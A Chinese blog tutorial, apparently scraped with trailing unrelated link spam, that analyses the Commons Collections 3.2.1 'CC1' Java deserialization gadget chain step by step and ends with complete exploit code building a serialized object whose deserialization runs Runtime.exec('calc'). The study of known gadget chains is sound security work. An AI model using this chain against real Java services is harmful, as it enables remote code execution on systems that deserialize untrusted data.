当前位置: 首页 > news >正文

Java反序列化 CC1链分析

文章目录

    • CC1链子介绍
    • 环境准备
      • 下载安装 JDK-8u65
      • 通过Maven下载CommonsCollections3.2.1
      • 配置对应源码
    • CC1链分析
      • 利用点
      • 溯源
      • 待解决问题
      • 修补
      • 完整代码

CC1链子介绍

Commons Collections是Apache开源社区推出的一款针对Java集合框架的扩展工具库,它提供了大量额外的数据结构和算法,包括有序集合、队列、堆、双向映射等功能丰富的集合实现,以及诸如过滤、转换等高级操作接口。该库极大地补充和完善了Java标准集合API,让开发者在处理复杂集合数据时更加高效灵活,同时简化了代码编写,是Java项目中广泛应用的实用工具

CC1链分国内(TransformedMap)和国外(LazyMap),本文介绍的是国内的TransformedMap链,该链相比国外,结构更为直接,调用链清晰,适合快速构造验证和理解

环境准备

下载安装 JDK-8u65

官网:Java 存档下载 — Java SE 8 | Oracle 中国

在这里插入图片描述

安装之后配置到IDEA,在右上角文件处打开项目结构,或者直接用快捷键 Ctrl+Alt+Shift+S 打开

在这里插入图片描述

然后在项目处选择SDK为JDK 1.8.0_65

通过Maven下载CommonsCollections3.2.1

复制以下代码到pom.xml<dependencies>标签里面

<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version>
</dependency>

保存即可

配置对应源码

jdk自带的包里面有些文件是反编译的.class文件,不利于研究分析,为方便调试,我们安装对应的源码

下载地址:jdk8u/jdk8u/jdk: af660750b2f4

点击zip下载压缩包,然后自行解压

在我们之前安装的jdk8u_65文件夹中,找到src.zip的压缩包,解压到当前文件夹下,然后把jdk-af660750b2f4\src\share\classes里的sun文件夹复制到jdk8u_65文件夹中的src里面

接着打开IDEA,在项目结构(Ctrl+Alt+Shift+S)里面找到SDK处,在源路径添加jdk8u_65的src文件夹,保存

到这里就配置完成了,可以开始调试分析了

CC1链分析

利用点

CC1源头就是Commons Collections库中的Tranformer接口,里面有个transform方法

寻找继承了这个接口的类,看看transform方法是如何实现的,可以快捷键Ctrl+Alt+B快速查看实现方法

发现InvokerTransformer类继承了该接口,重写了transform方法,同时还继承了Serializable接口,符合我们的要求

可以看到,这些参数都是可以控制的,那我们利用这点,传入参数调用invoke函数就可以触发任意类任意方法

我们的目标是实现Runtime.getRuntime().exec("calc");

构建以下代码实现,方法名为exec,参数类型为String,值为calc

public class test2 {public static void main(String[] args) throws Exception {Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});invokerTransformer.transform(r);}
}

成功弹出计算器

溯源

接下来就是一步步回溯,寻找可以利用的类,直到到达重写后的readObject()方法

首先先寻找有哪些类的哪些方法调用了transform,右键点击查找用法(或者Alt+F7

发现TransformedMap类的checkSetValue方法调用了transform

在这里插入图片描述

再看看TransformedMap类的构造函数,可以看到由三个参数组成

其中第一个参数为Map类型,我们可以传入HashMap,第二和第三个参数为Transformer类型,同样可控

但是需要注意的是,TransformedMap构造函数属于Protected方法,不能通过外部直接调用,但很巧的是,在TransformedMap类找到了decorate方法,返回一个TransformedMap的实例对象,且属于Public static方法,外部可以直接调用

在这里插入图片描述

那我们可以构造代码,第一个参数传入map,第二个用不到就传个null,第三个参数传入invokerTransformer

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map<Object, Object> map = new HashMap<>();
Map<Object, Object> transformermap = TransformedMap.decorate(map,null,invokerTransformer);

接下来就是要找哪里调用了checkSetValue方法,右键查找用法

在这里插入图片描述

发现有且仅有一处调用了checkSetValue方法,类名为AbstractInputCheckedMapDecorator,然后TransformedMap类刚好又继承了AbstractInputCheckedMapDecorator

AbstractInputCheckedMapDecorator类又继承了AbstractMapDecorator

AbstractMapDecorator实现了Map接口

而Map接口里的Entry有setValue方法,也就是说AbstractInputCheckedMapDecorator重写了setValue方法,而重写后的方法调用了checkSetValue,刚好符合我们的要求

因此我们对Map进行遍历,使其调用重写后的setValue方法,进而调用checkSetValue,执行命令

public class test2 {public static void main(String[] args) throws Exception {Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//        invokerTransformer.transform(r);Map<Object, Object> map = new HashMap<>();map.put("hello","world");Map<Object, Object> transformermap = TransformedMap.decorate(map,null,invokerTransformer);for(Map.Entry entry:transformermap.entrySet()){entry.setValue(r);}}
}

在这里插入图片描述

成功弹出计算器

接下来我们继续分析,寻找哪些方法调用了setValue,右键查找用法

发现AnnotationInvocationHandler类的readObject方法调用了setValue,刚好满足我们的要求,也寻到了入口,一举两得

查看AnnotationInvocationHandler的构造函数,参数为一个Class对象和一个Map对象,其中Class对象继承自Annotation,需要我们传一个注解类进去,然后memberValues传入之前的transformermap

在这里插入图片描述

再看看AnnotationInvocationHandler的访问权限,发现并没有Public等访问修饰符,则默认表示Package-local方法,即只能在同一个包下访问,在包外的类中是不可见的,无法调用

但可以通过反射调用方法getDeclaredConstructor来获取声明构造函数,简单修改后就可以实现包外调用,这里介绍一下与getConstructor的区别

方法查找范围返回哪些方法是否支持私有/受保护方法
getDeclaredConstructor 获取声明方法只查本类所有声明(包括私有、受保护等)支持(需 setAccessible(true))
getConstructor 获取方法本类和父类链仅public方法(含继承)不支持

因此我们通过反射来获取这个类,修改访问权限后就可以在外部调用了

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class);//获取构造器
annotationConstructor.setAccessible(true);//修改访问权限
Object o = annotationConstructor.newInstance(Override.class,transformermap);

拼接上之前的内容,就形成骨架,完成百分之七八十了

public class test2 {public static void main(String[] args) throws Exception {Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//        invokerTransformer.transform(r);Map<Object, Object> map = new HashMap<>();map.put("hello","world");Map<Object, Object> transformermap = TransformedMap.decorate(map,null,invokerTransformer);
//        for(Map.Entry entry:transformermap.entrySet()){
//            entry.setValue(r);
//        }Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationConstructor.setAccessible(true);Object o = annotationConstructor.newInstance(Override.class,transformermap);serialize(o);unserialize("cc1.txt");}public static void serialize(Object obj) throws Exception{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.txt"));oos.writeObject(obj);}public static void unserialize(String filename) throws Exception{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));ois.readObject();}
}

但如果直接运行是不行的,这也就是剩下的百分之二三十需要我们解决的问题了

待解决问题

分析之前的代码,发现有三个明显的问题尚未解决

问题一:Runtime类没有继承Serializable接口,无法序列化

问题二:readObject()方法怎样通过两个if判断进入setValue()方法

问题三readObject方法里的setValue参数不可控

我们按顺序逐个解决以上问题

修补

问题一:

首先解决第一个问题,虽然Runtime类没有继承Serializable接口,但是Class类继承了Serializable,当Runtime在 JVM 加载后,会有唯一的 Class<Runtime> 实例,它是对 Runtime 这个类型的描述。我们可以通过反射实现Runtime

构造以下代码反射实现Runtime

Class cs = Runtime.class;
Method getRuntime = cs.getMethod("getRuntime", null);// 第二个null表示参数内容,加不加都可以
Runtime cmd = (Runtime) getRuntime.invoke(null, null);// 第一个null表示调用静态方法,第二个null同上
Method control = cs.getMethod("exec", String.class);
control.invoke(cmd, "calc");

验证一下,成功弹出计算器

然后改用InvokerTransformertransform实现以上代码

Class cs = Runtime.class;
//  Method getRuntime = cs.getMethod("getRuntime", null);
//  Runtime cmd = (Runtime) getRuntime.invoke(null, null);
//  Method control = cs.getMethod("exec", String.class);
//  control.invoke(cmd, "calc");
Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(cs);
Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(cmd);

但是分开的话不好处理,需要找个方法合并起来,回到一开始的Transformer.java右键transform查找用法,发现ChainedTransformertransform方法可以循环遍历transform

看看构造函数,要求传个数组

那我们可以构造以下代码实现

Class cs = Runtime.class;
//  Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(cs);
//  Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
//  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(cmd);
Transformer[] transformers = new Transformer[]{new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(cs);

成功解决问题一

我们修改一下之前骨架的内容

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});// 将上面的代码修改成下面的代码Class cs = Runtime.class;
Transformer[] transformers = new Transformer[]{new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

问题二:

首先在AnnotationInvocationHandler类的readObject方法的第一个if判断语句处打断点,调试后可以看到memberType值为null,无法进入if语句

分析代码,可知memberTypes是表示注解类型里所有成员及其对应的数据类型的映射关系,然后memberType获取注解中成员变量的名称

一开始我们用的是注解Override,这里面没有成员变量

那就不用这个,继续寻找发现注解Target里有成员变量value,可以用这个

回到之前的exp骨架那里,修改两处地方

重新调试一遍,这次没有问题了,成功进入第一个if语句

接下来就是第二个if语句,只要我们传入的value既不是memberType对应类型的实例,也不是异常代理类对象ExceptionProxy实例,就可以进入if语句

因为成员value的声明类型是枚举数组ElementType[],而传入的是字符串"world",判断后返回false,然后经过取反后就变为true,成功进入if语句

问题三:

最后就是解决readObject()调用的setValue()参数不可控,继续分析代码,发现ConstantTransformer类刚好满足我们的要求,它重写后的transform可以返回我们传入的对象

修改之前的代码

Class cs = Runtime.class;
Transformer[] transformers = new Transformer[]{new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};// 将上面的代码修改成下面的代码,添加ConstantTransformerClass cs = Runtime.class;
Transformer[] transformers = new Transformer[]{new ConstantTransformer(cs),// 修改这里new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};

完整代码

把之前的代码合并在一起,得到以下完整代码

public class test2 {public static void main(String[] args) throws Exception {Class cs = Runtime.class;Transformer[] transformers = new Transformer[]{new ConstantTransformer(cs),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<Object, Object> map = new HashMap<>();map.put("value","world");Map<Object, Object> transformermap = TransformedMap.decorate(map,null,chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationConstructor.setAccessible(true);Object o = annotationConstructor.newInstance(Target.class,transformermap);serialize(o);unserialize("cc1.txt");}public static void serialize(Object obj) throws Exception{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.txt"));oos.writeObject(obj);}public static void unserialize(String filename) throws Exception{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));ois.readObject();}
}

成功弹出计算器,实现完整的漏洞链利用

到这里CC1的复现就结束了,确实不容易,不过收获很大,想要提升水平还是得多练代码审计,继续加油吧

http://www.dtcms.com/a/444503.html

相关文章:

  • wordpress手机站福州网站开发si7.cc
  • 网站的网站制作公司工会教工之家网站建设
  • 网站在百度上做推广怎样做福建省建设工程职业注册网站
  • 国内大一html网站简单设计品牌高端网站
  • 关于网站建设的电话销售话术夫妻网络网站建设
  • 设计师必备的国际设计网站手机登qq电脑版入口
  • 网站根目录相对路径内容展示型网站特点
  • 福建住房和城乡建设厅官网资阳优化团队资讯
  • 千度搜索引擎网络优化师自学网站
  • 怎么评判一个网站做的好与坏微网站建设目的
  • app线上推广方式关键字优化软件
  • 做毕业设计资料网站好图片在线压缩
  • 怎样做企业文化网站网站建设要注意
  • 下载吧网站整站源码网站的信任度
  • 网站后台图片传不上去怎么办软文营销网站
  • 做网站所需的知识技能花生壳可以用来做网站吗
  • 站长工具国产2023留言墙 wordpress
  • wordpress网站标题自定义什么是小手机型网站
  • 太原建站模板系统百度竞价推广计划
  • 做宠物的网站有哪些建设网站需申请什么手续
  • 西宁做网站的公司新手网站设计定价
  • 网站建设制作品牌公司网络营销工具中
  • 旅游类网站建设网站开发各个文件
  • 小网站的制作北京突发重大消息
  • 公司商城网站建设网络建设与管理专业
  • 攻防世界-Web-fileclude
  • 网站建设增城广告设计专业就业方向
  • 魔云手机建站哪个外贸网站开发客户比较好用
  • 免费空间说说赞领取网站微信电脑版官方下载
  • 温州做网站的爱站长尾词